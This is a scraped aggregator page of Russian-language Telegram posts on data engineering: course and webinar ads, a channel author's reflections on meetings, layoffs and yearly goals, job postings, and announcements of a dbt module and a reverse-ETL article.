Хотите понять, как проводить A/B-тесты и интерпретировать их результаты? Тогда не пропустите бесплатный вебинар по предиктивной аналитике от MyTracker.На вебинаре мы поговорим о том, что такое A/B-тесты, как их правильно провести, какими метриками и критер
Хотите понять, как проводить A/B-тесты и интерпретировать их результаты? Тогда не пропустите бесплатный вебинар по предиктивной аналитике от MyTracker.На вебинаре мы поговорим о том, что такое A/B-тесты, как их правильно провести, какими метриками и критер Хотите понять, как проводить A/B-тесты и интерпретировать их результаты? Тогда не пропустите бесплатный вебинар по предиктивной аналитике от MyTracker.На вебинаре мы поговорим о том, что такое A/B-тесты, как их правильно провести, какими метриками и критер

Хотите понять, как проводить A/B-тесты и интерпретировать их результаты? Тогда не пропустите бесплатный вебинар по предиктивной аналитике от MyTracker.На вебинаре мы поговорим о том, что такое A/B-тесты, как их правильно провести, какими метриками и критериями оценивать результаты и многое другое. Дополнительно мы будем моделировать разные сценарии А/Б-тестов с помощью jupyter notebook и оценивать статистическую значимость результатов.Вебинар проведёт Александр Смирнов, программист-исследователь команды предиктивной аналитики MyTracker.https://vk.cc/cl2ew

1 week, 1 day назад @ t.me
🔥 Хотите перейти в область дата-инжиринга и работать с большими данными? 👉 Сделайте первые шаги в этом направлении на открытом уроке онлайн-курса «Data Engineer» в OTUS! 27 января в 20:00 мск пройдет вебинар «Elasticsearch как NoSQL хранилище документов».
🔥 Хотите перейти в область дата-инжиринга и работать с большими данными? 👉 Сделайте первые шаги в этом направлении на открытом уроке онлайн-курса «Data Engineer» в OTUS! 27 января в 20:00 мск пройдет вебинар «Elasticsearch как NoSQL хранилище документов». 🔥 Хотите перейти в область дата-инжиринга и работать с большими данными? 👉 Сделайте первые шаги в этом направлении на открытом уроке онлайн-курса «Data Engineer» в OTUS! 27 января в 20:00 мск пройдет вебинар «Elasticsearch как NoSQL хранилище документов».

🔥 Хотите перейти в область дата-инжиринга и работать с большими данными? 👉 Сделайте первые шаги в этом направлении на открытом уроке онлайн-курса «Data Engineer» в OTUS! 27 января в 20:00 мск пройдет вебинар «Elasticsearch как NoSQL хранилище документов». Глубокое понимание этого инструмента — ключевой момент для его правильного применения.💻 В результате урока вы:🔸 Изучите классификацию NoSQL СУБД🔸 Узнаете про отличительные черты Elasticsearch и его применимости к разным задачам🔸 Узнаете, почему Elasticsearch — одних из наиболее популярных инструментов для создания поисковых датасетов в современном мире🔸 Поймете, чем так хорош Elasticsearch и задумаетесь об его внедрении в вашей команде🟢 Чт…

1 week, 3 days назад @ t.me
Хотите узнать простой и понятный алгоритм для построения графиков по данным используя язык R?Приходите 🗓 31 января в 20:00 на открытый урок «”Слои” в ggplot2» от OTUS. Урок будет полезен аналитикам данных и исследователям, финансовым аналитикам, экономиста
Хотите узнать простой и понятный алгоритм для построения графиков по данным используя язык R?Приходите 🗓 31 января в 20:00 на открытый урок «”Слои” в ggplot2» от OTUS. Урок будет полезен аналитикам данных и исследователям, финансовым аналитикам, экономиста Хотите узнать простой и понятный алгоритм для построения графиков по данным используя язык R?Приходите 🗓 31 января в 20:00 на открытый урок «”Слои” в ggplot2» от OTUS. Урок будет полезен аналитикам данных и исследователям, финансовым аналитикам, экономиста

Хотите узнать простой и понятный алгоритм для построения графиков по данным используя язык R?Приходите 🗓 31 января в 20:00 на открытый урок «”Слои” в ggplot2» от OTUS. Урок будет полезен аналитикам данных и исследователям, финансовым аналитикам, экономистам и всем, кто работает с данными и их визуализацией.На занятии вы:- Узнаете как строить графики в R с помощью библиотеки ggplot2 слой за слоем.- Познакомитесь с разными типами визуализаций, фасетированием и многим другим.👨‍💻 Открытый урок проведет преподаватель Дмитрий Володин, Analytics Engineer в TrafficStars. Он использует R в своей работе как для разведочного анализа, так и для BI задач.Регистрируйтесь на занятие — https://otus.pw/GthL…

1 week, 4 days назад @ t.me
❓Хотите перейти в BI-аналитику?Сделайте первые шаги на пути к новому этапу в карьере уже 30 января в 20:00! Приглашаем вас на открытый урок «Подготовка данных для дашборда в Pandas» в OTUS. Вебинар состоится в рамках онлайн-курса «BI-аналитика» для продукт
❓Хотите перейти в BI-аналитику?Сделайте первые шаги на пути к новому этапу в карьере уже 30 января в 20:00! Приглашаем вас на открытый урок «Подготовка данных для дашборда в Pandas» в OTUS. Вебинар состоится в рамках онлайн-курса «BI-аналитика» для продукт ❓Хотите перейти в BI-аналитику?Сделайте первые шаги на пути к новому этапу в карьере уже 30 января в 20:00! Приглашаем вас на открытый урок «Подготовка данных для дашборда в Pandas» в OTUS. Вебинар состоится в рамках онлайн-курса «BI-аналитика» для продукт

❓Хотите перейти в BI-аналитику?Сделайте первые шаги на пути к новому этапу в карьере уже 30 января в 20:00! Приглашаем вас на открытый урок «Подготовка данных для дашборда в Pandas» в OTUS. Вебинар состоится в рамках онлайн-курса «BI-аналитика» для продуктовых и маркетинговых аналитиков, аналитиков данных, Product Owner’ов и Project Manager’ов, Data Scientist’ов, Data Engineer’ов и выпускников, которые хотят работать в области BI-аналитики. ✅На занятии вы узнаете про методы предобработки и “очистки” данных для дальнейшего построения дашбордов в Python Pandas.➡️Какой результат мы получим? Преобразуем учебный набор данных, очистим его от пропусков и дубликатов, посмотрим различные способы тра…

2 weeks, 2 days назад @ t.me
Яндекс Практикум разработал практический курс по аналитике для тех, кто работает с продуктом. В нём можно набить руку на исследованиях, ad-hoc запросах и А/В тестах для реальной сферы бизнеса.Научитесь растить продукт на основе данных за 2,5 месяца. После
Яндекс Практикум разработал практический курс по аналитике для тех, кто работает с продуктом. В нём можно набить руку на исследованиях, ad-hoc запросах и А/В тестах для реальной сферы бизнеса.Научитесь растить продукт на основе данных за 2,5 месяца. После Яндекс Практикум разработал практический курс по аналитике для тех, кто работает с продуктом. В нём можно набить руку на исследованиях, ad-hoc запросах и А/В тестах для реальной сферы бизнеса.Научитесь растить продукт на основе данных за 2,5 месяца. После

Яндекс Практикум разработал практический курс по аналитике для тех, кто работает с продуктом. В нём можно набить руку на исследованиях, ad-hoc запросах и А/В тестах для реальной сферы бизнеса.Научитесь растить продукт на основе данных за 2,5 месяца. После курса студенты смогут:— разбираться в метриках продукта, рассчитывать их и влиять на них;— проводить продуктовые исследования, сегментировать пользователей и определять, какой сегмент что покупает;— считать юнит-экономику и находить точки роста в продукте;— готовиться к A/B-тестам, интерпретировать результаты и улучшать анализ.Проекты на курсе будут из разных сфер: онлайн-кинотеатр, маркет-плейс или сервис доставки еды. Каждые 2-3 недели с…

2 weeks, 2 days назад @ t.me
Надоели скучные видео уроки, по которым невозможно учиться?Команда python-программистов из Devman понимает, как важно получать реальный опыт во время обучения. Просмотр видео не научит вас самостоятельно писать код и не даст вам опыт коммерческой разработк
Надоели скучные видео уроки, по которым невозможно учиться?Команда python-программистов из Devman понимает, как важно получать реальный опыт во время обучения. Просмотр видео не научит вас самостоятельно писать код и не даст вам опыт коммерческой разработк Надоели скучные видео уроки, по которым невозможно учиться?Команда python-программистов из Devman понимает, как важно получать реальный опыт во время обучения. Просмотр видео не научит вас самостоятельно писать код и не даст вам опыт коммерческой разработк

Надоели скучные видео уроки, по которым невозможно учиться?Команда python-программистов из Devman понимает, как важно получать реальный опыт во время обучения. Просмотр видео не научит вас самостоятельно писать код и не даст вам опыт коммерческой разработки, который так нужен работодателям. Именно поэтому команда Devman создала программу, которая гарантирует качественный трек от новичка до мидла.Во время обучения вы получите:– Опыт коммерческой разработки в CV;– 50+ небольших и 9 полноценных проектов;– Трехмесячную оплачиваемую стажировку;– Опыт прохождения собеседований, в том числе технических; – Трудоустройство в компаниях-партнерах или помощь с подбором вакансий. Курс длится 13 месяцев,…

2 weeks, 2 days назад @ t.me
❗️Как пройти техническое собеседование на ML-специалиста? 👉Узнайте на примере mock-интервью с преподавателями курса «MLOps» в OTUS! На открытом уроке вы сможете наблюдать один из этапов собеседования при найме ML-специалистов — ML System Design секцию. Для
❗️Как пройти техническое собеседование на ML-специалиста? 👉Узнайте на примере mock-интервью с преподавателями курса «MLOps» в OTUS! На открытом уроке вы сможете наблюдать один из этапов собеседования при найме ML-специалистов — ML System Design секцию. Для ❗️Как пройти техническое собеседование на ML-специалиста? 👉Узнайте на примере mock-интервью с преподавателями курса «MLOps» в OTUS! На открытом уроке вы сможете наблюдать один из этапов собеседования при найме ML-специалистов — ML System Design секцию. Для

❗️Как пройти техническое собеседование на ML-специалиста? 👉Узнайте на примере mock-интервью с преподавателями курса «MLOps» в OTUS! На открытом уроке вы сможете наблюдать один из этапов собеседования при найме ML-специалистов — ML System Design секцию. Для удачного прохождения этого этапа нужно не только знать ML-алгоритмы, но и иметь навыки проектирования ML-систем, которые могут успешно работать в промышленной среде.Спикеры:Павел Филонов — Ex-Data Science Manager в Kaspersky.Александр Миленькин — cтарший менеджер по работе с большими данными в X5 Retail Group.🗓Когда: 24 января 19:00 мск➡️Для участия пройдите вступительный тест: https://otus.pw/nIpW/Реклама. Информация о рекламодателе на с…

2 weeks, 3 days назад @ t.me
Тинькофф проведет митапы в Ростове-на-Дону, Краснодаре и Сочи 🚙Серия оффлайн встреч IT’s Tinkoff on the Road подходит к концу. С митапами о разработке, архитектуре и soft-скиллах побывали уже в семи городах России. Маршрут начали в Сибири, а завершают его
Тинькофф проведет митапы в Ростове-на-Дону, Краснодаре и Сочи 🚙Серия оффлайн встреч IT’s Tinkoff on the Road подходит к концу. С митапами о разработке, архитектуре и soft-скиллах побывали уже в семи городах России. Маршрут начали в Сибири, а завершают его Тинькофф проведет митапы в Ростове-на-Дону, Краснодаре и Сочи 🚙Серия оффлайн встреч IT’s Tinkoff on the Road подходит к концу. С митапами о разработке, архитектуре и soft-скиллах побывали уже в семи городах России. Маршрут начали в Сибири, а завершают его

Тинькофф проведет митапы в Ростове-на-Дону, Краснодаре и Сочи 🚙Серия оффлайн встреч IT’s Tinkoff on the Road подходит к концу. С митапами о разработке, архитектуре и soft-скиллах побывали уже в семи городах России. Маршрут начали в Сибири, а завершают его на юге страны. Последние на пути:— Ростов-на-Дону — 25 января;— Краснодар — 27 января;— Сочи — 8 февраля.На встречах в этих городах: будут делиться кейсами, обсуждать технологии, а после докладов пройдет неформальный и полезный нетворкинг. Выбирайте удобный город и регистрируйтесь.Подробнее о серии митапов IT’s Tinkoff on the Road можно прочитать на этой странице: https://vk.tinkoff.ru/otr_tinkoff

2 weeks, 4 days назад @ t.me
📊 Сможешь ли ты стать дата-инженером? 📌 Пройди тест и узнай — https://otus.pw/7t2Mp/💻 Ответьте на 20 вопросов и проверьте, готовы к обучению на онлайн-курсе «Data Engineer» в OTUS. Дата-инжиниринг — новый уровень для разработчиков и админов СУБД.✅ На курсе
📊 Сможешь ли ты стать дата-инженером? 📌 Пройди тест и узнай — https://otus.pw/7t2Mp/💻 Ответьте на 20 вопросов и проверьте, готовы к обучению на онлайн-курсе «Data Engineer» в OTUS. Дата-инжиниринг — новый уровень для разработчиков и админов СУБД.✅ На курсе 📊 Сможешь ли ты стать дата-инженером? 📌 Пройди тест и узнай — https://otus.pw/7t2Mp/💻 Ответьте на 20 вопросов и проверьте, готовы к обучению на онлайн-курсе «Data Engineer» в OTUS. Дата-инжиниринг — новый уровень для разработчиков и админов СУБД.✅ На курсе

📊 Сможешь ли ты стать дата-инженером? 📌 Пройди тест и узнай — https://otus.pw/7t2Mp/💻 Ответьте на 20 вопросов и проверьте, готовы к обучению на онлайн-курсе «Data Engineer» в OTUS. Дата-инжиниринг — новый уровень для разработчиков и админов СУБД.✅ На курсе вас ждет:✔️ Живые вебинары с опытными практиками✔️ Решение прикладных задач и создание своего продукта✔️ Real Case Studies: примеры внедрений, использования инструментов, оптимизации и разбор ошибок✔️ Во время обучения вы освоите работу с Architecture, Data Lake, DWH, MLOps и сможете самостоятельно решать задачи в сфере Big Data.🔥 Пройдете тест — получите демо-ролик о занятиях на курсе, Welcome-скидку и доступ к открытым урокам:👉 Elastics…

2 weeks, 5 days назад @ t.me
Труба данных Труба данных
последний пост 1 day, 21 hours назад
Немного пятничного юмора 🤪@ohmydataengineer
Немного пятничного юмора 🤪@ohmydataengineer Немного пятничного юмора 🤪@ohmydataengineer

Немного пятничного юмора 🤪@ohmydataengineer

1 day, 21 hours назад @ t.me
Минутка болезненной рефлексии..В общем, когда в очередной раз я обнаружил, что мой календарь забит встречами с 8 утра до 6 вечера, я погрустнел. При этом я сознательно отдаю команде возможности полидировать какие-то направления и целые фичи, пытаюсь не быт
Минутка болезненной рефлексии..В общем, когда в очередной раз я обнаружил, что мой календарь забит встречами с 8 утра до 6 вечера, я погрустнел. При этом я сознательно отдаю команде возможности полидировать какие-то направления и целые фичи, пытаюсь не быт

Минутка болезненной рефлексии..В общем, когда в очередной раз я обнаружил, что мой календарь забит встречами с 8 утра до 6 вечера, я погрустнел. При этом я сознательно отдаю команде возможности полидировать какие-то направления и целые фичи, пытаюсь не быть узким горлышком, но все равно выходит какая-то ерунда.Где-то что-то поломалось и пока я не понял, как починить. В попытках и поисках ответа на этот вопрос я зашел на сервис… ахаха думали тут реклама … я залез в интернет и накопал парочку интересных статей для рефлексии. Статьи интересные, но я все равно не понял про себя, правильно ли я делаю или нет. Вот такие вот пироги, сижу туплю в тупике 🤪https://erik.wiffin.com/posts/limiting-work-…

4 days, 21 hours назад @ t.me
На LinkedIn попался пост, который хорошо лег в душеньку:Every layoff of 2023 has been a fraction of new headcount added in 2022 alone.It's not that 2H and 1H 2023 is weird, it's that 2020,2021 were deeply atypicalOne of the questions we should be asking co
На LinkedIn попался пост, который хорошо лег в душеньку:Every layoff of 2023 has been a fraction of new headcount added in 2022 alone.It's not that 2H and 1H 2023 is weird, it's that 2020,2021 were deeply atypicalOne of the questions we should be asking co На LinkedIn попался пост, который хорошо лег в душеньку:Every layoff of 2023 has been a fraction of new headcount added in 2022 alone.It's not that 2H and 1H 2023 is weird, it's that 2020,2021 were deeply atypicalOne of the questions we should be asking co

На LinkedIn попался пост, который хорошо лег в душеньку:Every layoff of 2023 has been a fraction of new headcount added in 2022 alone.It's not that 2H and 1H 2023 is weird, it's that 2020,2021 were deeply atypicalOne of the questions we should be asking companies that hired so aggressively in 2022 is what were you thinking?What data did you have that suggested Pandemic life was the new normal.Есть такое выражение “Too big to fail”, которое значит что-то в стиле “Ну Сбербанк никуда не денется!”, то есть “Ну Гугл / Амазон / Мета не могут ошибаться, они очень большие и умные”. Но, как мы видим, даже топы могут ошибаться. Ну и большие компании делали ошибки, которые приводили к их краху. Наприм…

1 week, 3 days назад @ t.me
Дима из «Инжиниринг Данных» еще летом постил ссылку, только сейчас дошли руки прочитать и очень срезонировало. Я даже в пост вынесу ровно тот же вывод:The core problem with working longer hours is that time is a finite resource. Energy is a different story
Дима из «Инжиниринг Данных» еще летом постил ссылку, только сейчас дошли руки прочитать и очень срезонировало. Я даже в пост вынесу ровно тот же вывод:The core problem with working longer hours is that time is a finite resource. Energy is a different story

Дима из «Инжиниринг Данных» еще летом постил ссылку, только сейчас дошли руки прочитать и очень срезонировало. Я даже в пост вынесу ровно тот же вывод:The core problem with working longer hours is that time is a finite resource. Energy is a different story.(Сама статья тут https://hbr.org/2007/10/manage-your-energy-not-your-time. Она за пейволом, но две статьи в месяц бесплатно. Так что если вы не заходили на Harvard Business Review в этом месяце, то можно почитать в оригинале)Идея в том, чтобы за основной ресурс и метрику брать не время, которое вы работаете, а сколько энергии вы расходуете И как ее эффективно восполняете. Можно целый день прокрастинировать и устать. Источников энергии 4: …

2 weeks, 5 days назад @ t.me
shorturl.at/fxEQ0Вот тут попалась в одном из телеграм каналов реклама одной релевантной конференции. Российская конференция про качество данных.Все бы ничего, но у меня есть вопросики к формулировкам:<…решениям обеспечения гарантированного качества данн
shorturl.at/fxEQ0Вот тут попалась в одном из телеграм каналов реклама одной релевантной конференции. Российская конференция про качество данных.Все бы ничего, но у меня есть вопросики к формулировкам:&lt;…решениям обеспечения гарантированного качества данн

shorturl.at/fxEQ0Вот тут попалась в одном из телеграм каналов реклама одной релевантной конференции. Российская конференция про качество данных.Все бы ничего, но у меня есть вопросики к формулировкам:<…решениям обеспечения гарантированного качества данных в условиях динамичных изменений и экономической неопределенности…>Оч канцелярно. Ну и создается ощущение, что с приходом санкций у нас нет доступа к инструментам по качеству данных.А потом посмотрел фотографии и сложилось впечатление, что DQ это какая-то старперская дисциплина, стало грустно.Вы уж простите, немножко эйджизмом попахивает, но никого обидеть не хотел.Автора можно закидать 💩 или написать свое мнение в комментариях к посту[email protected]

3 weeks, 2 days назад @ t.me
Как вы могли заметить, я не размещаю на канале ни рекламу курсов, и всякие weekend offer events, ни вакансии. Но у последнего бывают исключения, и сегодня ровно такой день) 🤪Если кто-то ищет для себя новый вызов в интересной компании, с очень клевыми людьм
Как вы могли заметить, я не размещаю на канале ни рекламу курсов, и всякие weekend offer events, ни вакансии. Но у последнего бывают исключения, и сегодня ровно такой день) 🤪Если кто-то ищет для себя новый вызов в интересной компании, с очень клевыми людьм

Как вы могли заметить, я не размещаю на канале ни рекламу курсов, и всякие weekend offer events, ни вакансии. Но у последнего бывают исключения, и сегодня ровно такой день) 🤪Если кто-то ищет для себя новый вызов в интересной компании, с очень клевыми людьми (лично знаком и с CEO, и с CTO), с прикольным продуктом (local purchasing power) - присылайте Кириллу свои CV.Писать @KirillGugaev

3 weeks, 5 days назад @ t.me
Привет всем! Я - CTO в американском YC-стартапе Corrily, ищу хорошего data-инженера!#вакансия #data_engineer #senior Компания: Corrily Inc Занятость: проектная / парт-таймФормат работы: удаленка, контракт с оплатой по-часам (пишите свой рейт)Описание прое
Привет всем! Я - CTO в американском YC-стартапе Corrily, ищу хорошего data-инженера!#вакансия #data_engineer #senior Компания: Corrily Inc Занятость: проектная / парт-таймФормат работы: удаленка, контракт с оплатой по-часам (пишите свой рейт)Описание прое

Привет всем! Я - CTO в американском YC-стартапе Corrily, ищу хорошего data-инженера!#вакансия #data_engineer #senior Компания: Corrily Inc Занятость: проектная / парт-таймФормат работы: удаленка, контракт с оплатой по-часам (пишите свой рейт)Описание проекта:Corrily - это ML-сервис для динамического прайсинга SaaS сервисов.Мы помогаем крупным интернет-сервисам по всему миру проводить эксперименты с ценами и поднимать выручку на 10-20% за счет изменения цен в разных странах и для разных сегментов на более справедливые.Кого ищем:Мы ищем опытного data-инженера, кто бы совместно с нашими разработчиками помогал бы расширять SaaS-аналитику (разбираться в данных, добавлять новые метрики, оптимизир…

3 weeks, 5 days назад @ t.me
Цели 2023 годаАга-ага, строили мы планы на 2022, но все крякнулось. Поэтому с одной стороны планировать что-то теперь в этом ну оч быстро меняющемся мире стало сильно сложней. С другой стороны - “If you fail to plan, you plan to fail”. Поэтому немного о т
Цели 2023 годаАга-ага, строили мы планы на 2022, но все крякнулось. Поэтому с одной стороны планировать что-то теперь в этом ну оч быстро меняющемся мире стало сильно сложней. С другой стороны - “If you fail to plan, you plan to fail”. Поэтому немного о т

Цели 2023 годаАга-ага, строили мы планы на 2022, но все крякнулось. Поэтому с одной стороны планировать что-то теперь в этом ну оч быстро меняющемся мире стало сильно сложней. С другой стороны - “If you fail to plan, you plan to fail”. Поэтому немного о том, что я хочу сделать в этом году:- Продолжить развивать “Трубу данных”, писать куда более стабильно в канал и более информативно, а не просто швыряться ссылками. - Начать писать на английском языке. Это не заменит этот канал, тут все будет так и в том формате, как есть сейчас. Я скорее про профессиональный блог на каком-нибудь Medium, Dev.to или еще лучше, Substack. При этом оч не хочется превращать это все в LinkedIn Influencer (ох уж у …

1 month назад @ t.me
Итоги года.Если вас еще не достали итоги года во всех остальных социальных сетях, то вот чуток от меня, самые заметные события в моей жизни за этот год.- Канал “Труба Данных” активно растет и развивается. Для меня это огромная радость и удовольствие, делит
Итоги года.Если вас еще не достали итоги года во всех остальных социальных сетях, то вот чуток от меня, самые заметные события в моей жизни за этот год.- Канал “Труба Данных” активно растет и развивается. Для меня это огромная радость и удовольствие, делит

Итоги года.Если вас еще не достали итоги года во всех остальных социальных сетях, то вот чуток от меня, самые заметные события в моей жизни за этот год.- Канал “Труба Данных” активно растет и развивается. Для меня это огромная радость и удовольствие, делиться всяким полезным с вами. Много раз в комментах были клевые обсуждения, которые расширяли картину мира. Немного статистики на скриншоте выше. И да, никакой рекламы и канал остается независимым до сих пор, хотя приходят каждый день с запросом на платное размещение 😄 Даже кнопка вверху “На развитие канала" больше для успокоения моей совести (но я всегда рад донатам, конечно же😁). - Мне досталась новая роль, на этот раз официально - я тепер…

1 month назад @ t.me
Вас 2000 человек! Спасибо большое, что вы читаете меня!Для меня это оч большое достижение. Когда я только начинал свой канал, это была просто копилка каких-то идей и интересных статей.А теперь нас 2000 человек и это уже большоя группа людей, с очень разнос
Вас 2000 человек! Спасибо большое, что вы читаете меня!Для меня это оч большое достижение. Когда я только начинал свой канал, это была просто копилка каких-то идей и интересных статей.А теперь нас 2000 человек и это уже большоя группа людей, с очень разнос Вас 2000 человек! Спасибо большое, что вы читаете меня!Для меня это оч большое достижение. Когда я только начинал свой канал, это была просто копилка каких-то идей и интересных статей.А теперь нас 2000 человек и это уже большоя группа людей, с очень разнос

Вас 2000 человек! Спасибо большое, что вы читаете меня!Для меня это оч большое достижение. Когда я только начинал свой канал, это была просто копилка каких-то идей и интересных статей.А теперь нас 2000 человек и это уже большоя группа людей, с очень разносторонними мнениями и взглядами на технологии, с которыми прикольно общаться и оч мотивирует, когда вы присылаете 💩, мотивирует искать материал лучше)В ближайшие дни буду подводить итоги года и писать планы на будущий. Stay tuned, как говориться 🤪@ohmydataengineer

1 month, 1 week назад @ t.me
https://iximiuz.com/en/posts/ssh-tunnels/Хехе, сегодня необычный пост, потому что он не про Data Engineering. По ссылке выше - прекрасный иллюстрируемый гайд про то, как работает SSH тунель.Когда он мне попался на глаза, немножк всплакнул, потому что вспом
https://iximiuz.com/en/posts/ssh-tunnels/Хехе, сегодня необычный пост, потому что он не про Data Engineering. По ссылке выше - прекрасный иллюстрируемый гайд про то, как работает SSH тунель.Когда он мне попался на глаза, немножк всплакнул, потому что вспом

https://iximiuz.com/en/posts/ssh-tunnels/Хехе, сегодня необычный пост, потому что он не про Data Engineering. По ссылке выше - прекрасный иллюстрируемый гайд про то, как работает SSH тунель.Когда он мне попался на глаза, немножк всплакнул, потому что вспомнил вот такую историю:На одном из рабочих мест, ввиду политики информационной безопасности, доступ на продакшен кластер K8S и ко всем продакшен базам данных, расположенным в одой сети, был запрещен снаружи, то есть с рабочего компа из дома не постучаться; То есть только из офисного Wi-Fi. И нет, с корпоративным VPN тоже нельзя. И да, это уже был Covid, и мы были на удаленке.Тогда хитрый жук Семен, чтобы не пользоваться RDS (удаленным рабоч…

1 month, 2 weeks назад @ t.me
https://beeline.jugru.org/?utm_source=jrg_info_partner&utm_medium=ohmydataengineer&utm_campaign=announce_meetup_beelineДавно у меня не было материала на канале, переезд в другую страну сбил все графики.Но ничего, вроде все вопросики уладили, поэтом
https://beeline.jugru.org/?utm_source=jrg_info_partner&amp;utm_medium=ohmydataengineer&amp;utm_campaign=announce_meetup_beelineДавно у меня не было материала на канале, переезд в другую страну сбил все графики.Но ничего, вроде все вопросики уладили, поэтом

https://beeline.jugru.org/?utm_source=jrg_info_partner&utm_medium=ohmydataengineer&utm_campaign=announce_meetup_beelineДавно у меня не было материала на канале, переезд в другую страну сбил все графики.Но ничего, вроде все вопросики уладили, поэтому возвращаемся в ритм.Начем с анонса онлайн-митапа от JUG и Билайна.В списке тем:- Как настроить ETL с JSON’ами в Apache NiFi- Система сквозного логирования с передачей единого идентификатора процесса между независимыми задачами Airflow- Apache Flink: Flink Table API & SQLДоклад в середине - то, чего мне не хватало года полтора/два назад, поэтому мы что-то придумывали сами. Теперь интересно узнать, как это делают в других местах[email protected]

1 month, 3 weeks назад @ t.me
Пост очередного подгорания жопки!https://towardsdatascience.com/whats-next-for-data-engineering-in-2023-7-predictions-b57e3c1bf2d3Меня немножко кидает из стороны в сторону, то я ругаюсь на капитанский и откровенно булшитный контент, то наоборот защищаю, по
Пост очередного подгорания жопки!https://towardsdatascience.com/whats-next-for-data-engineering-in-2023-7-predictions-b57e3c1bf2d3Меня немножко кидает из стороны в сторону, то я ругаюсь на капитанский и откровенно булшитный контент, то наоборот защищаю, по

Пост очередного подгорания жопки!https://towardsdatascience.com/whats-next-for-data-engineering-in-2023-7-predictions-b57e3c1bf2d3Меня немножко кидает из стороны в сторону, то я ругаюсь на капитанский и откровенно булшитный контент, то наоборот защищаю, потому что у всех разные пузыри и не оч понятно, для кого это очевидно, а для кого нет.Вот в очередной рассылке про данные, прилетела статья. Автор - Co-Founder and CEO, Monte Carlo, Barr Moses, то есть вроде бы вопросиков к автору не должно быть, человечек знает, что пишет.Но открываешь статью и видишь следующее:…Currently, data team roles are segmented primarily by data processing stage:1 )Data engineers pipe the data in,2) Analytical engi…

2 months назад @ t.me
https://habr.com/ru/company/habr_career/blog/702558/Очередная статистика по зарплатам в РФ от Хабр Карьеры.Как ее воспринимать, это решение каждого. Помните, что на карьеро-зарплатные вопросы отвечают люди, которые а) читают этот ресурс и видели пост про о
https://habr.com/ru/company/habr_career/blog/702558/Очередная статистика по зарплатам в РФ от Хабр Карьеры.Как ее воспринимать, это решение каждого. Помните, что на карьеро-зарплатные вопросы отвечают люди, которые а) читают этот ресурс и видели пост про о

https://habr.com/ru/company/habr_career/blog/702558/Очередная статистика по зарплатам в РФ от Хабр Карьеры.Как ее воспринимать, это решение каждого. Помните, что на карьеро-зарплатные вопросы отвечают люди, которые а) читают этот ресурс и видели пост про опрос (или получили рассылку), б) есть время и желание это заполнять.Если ваша з/п сильно выбивается из описанных, помните, что вы, возможно, совсем в другом пузыре находитесь и это полезно помнить при любых спорах.Конкретно про методологию сборки данных для этого исследования - в конце статьи[email protected]

2 months назад @ t.me
https://www.youtube.com/watch?v=-DVyjdw4t9IКто тут пожаловал в гости к Лексу Фридману, уже второй раз оказывается, сам Гвидо Ван Россум!Для начала, кто такой Lex Fridman. Чел из MIT, эксперт в ML, AI, Deep Learning и вот этом всем, но не на уровне PowerPoi
https://www.youtube.com/watch?v=-DVyjdw4t9IКто тут пожаловал в гости к Лексу Фридману, уже второй раз оказывается, сам Гвидо Ван Россум!Для начала, кто такой Lex Fridman. Чел из MIT, эксперт в ML, AI, Deep Learning и вот этом всем, но не на уровне PowerPoi

https://www.youtube.com/watch?v=-DVyjdw4t9IКто тут пожаловал в гости к Лексу Фридману, уже второй раз оказывается, сам Гвидо Ван Россум!Для начала, кто такой Lex Fridman. Чел из MIT, эксперт в ML, AI, Deep Learning и вот этом всем, но не на уровне PowerPoint презентаций, а прям лекций в университетах. Вот его сайт - https://lexfridman.com/У него есть подкаст, в который приходят поговорить умные люди из индустрии, немного рядом или вообще далеко. Но всегда слушать интересно. Например, Цукерберг, Маск, Дорси, Карпати, Карлсен (который гроссмейстер), Кармак, Роган, даже Канье Вест залетал.Так вот, в свежем выпуске создатель Питончика размышляет про будущее программирования. Оч советую послушат…

2 months назад @ t.me
enthusiastech enthusiastech
последний пост 3 days, 15 hours назад
Channel name was changed to «🟧 [Technology Enthusiast]»
Channel name was changed to «🟧 [Technology Enthusiast]»

Channel name was changed to «🟧 [Technology Enthusiast]»

3 days, 15 hours назад @ t.me
🚀 Released myBI dbt Core and myBI Market showcase⚙️ myBI dbt Core module allows quick start transformations on top of data synced by myBI Connect along with multiple useful macros.— Supported Adapters: Clickhouse, PostgreSQL— Reference any data source as s
🚀 Released myBI dbt Core and myBI Market showcase⚙️ myBI dbt Core module allows quick start transformations on top of data synced by myBI Connect along with multiple useful macros.— Supported Adapters: Clickhouse, PostgreSQL— Reference any data source as s

🚀 Released myBI dbt Core and myBI Market showcase⚙️ myBI dbt Core module allows quick start transformations on top of data synced by myBI Connect along with multiple useful macros.— Supported Adapters: Clickhouse, PostgreSQL— Reference any data source as simple as select * from source('general', 'dates')— Build staging layer in one command with filters on account_id applied, pre-join with date dimension, comprehensive data testing (unique, not_null, relationships)— Leverage macros: source_filter_rows to limit rows for dev/test environments, any macro from dbt_utils package ⚡️ myBI Market showcase guides you through building Modern Data Stack analytics:— Configure environment— Install and co…

5 days, 2 hours назад @ t.me
💎 Операционализация аналитики c инструментами класса reverse ETL – опыт использования Census 💎В публикации:— Место reverse ETL в схеме потоков данных— Потребность в решении задач операционной аналитики— Различные способы организации reverse ETL— Кейс: Cens
💎 Операционализация аналитики c инструментами класса reverse ETL – опыт использования Census 💎В публикации:— Место reverse ETL в схеме потоков данных— Потребность в решении задач операционной аналитики— Различные способы организации reverse ETL— Кейс: Cens

💎 Операционализация аналитики c инструментами класса reverse ETL – опыт использования Census 💎В публикации:— Место reverse ETL в схеме потоков данных— Потребность в решении задач операционной аналитики— Различные способы организации reverse ETL— Кейс: Census для синхронизации данных в Pipedrive CRMСегодня Операционная аналитика и практики reverse ETL - не столько дань моде, сколько насущная потребность многих компаний. Создать идеальное Хранилище мало, ведь данные создают ценность только тогда, когда вы способны их использовать.Читать на Хабр → #Pipelines #reverse-ETL

2 months, 1 week назад @ t.me
21 ноября (понедельник) в 20:00 проведу вебинар: 🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀 Вы узнаете: 🔹 Каким образом собирать события организации из Github (Webhook, Airbyte) 🔹 С помощью чего осуществить парсинг, трансформа
21 ноября (понедельник) в 20:00 проведу вебинар: 🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀 Вы узнаете: 🔹 Каким образом собирать события организации из Github (Webhook, Airbyte) 🔹 С помощью чего осуществить парсинг, трансформа

21 ноября (понедельник) в 20:00 проведу вебинар: 🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀 Вы узнаете: 🔹 Каким образом собирать события организации из Github (Webhook, Airbyte) 🔹 С помощью чего осуществить парсинг, трансформации…

2 months, 2 weeks назад @ t.me
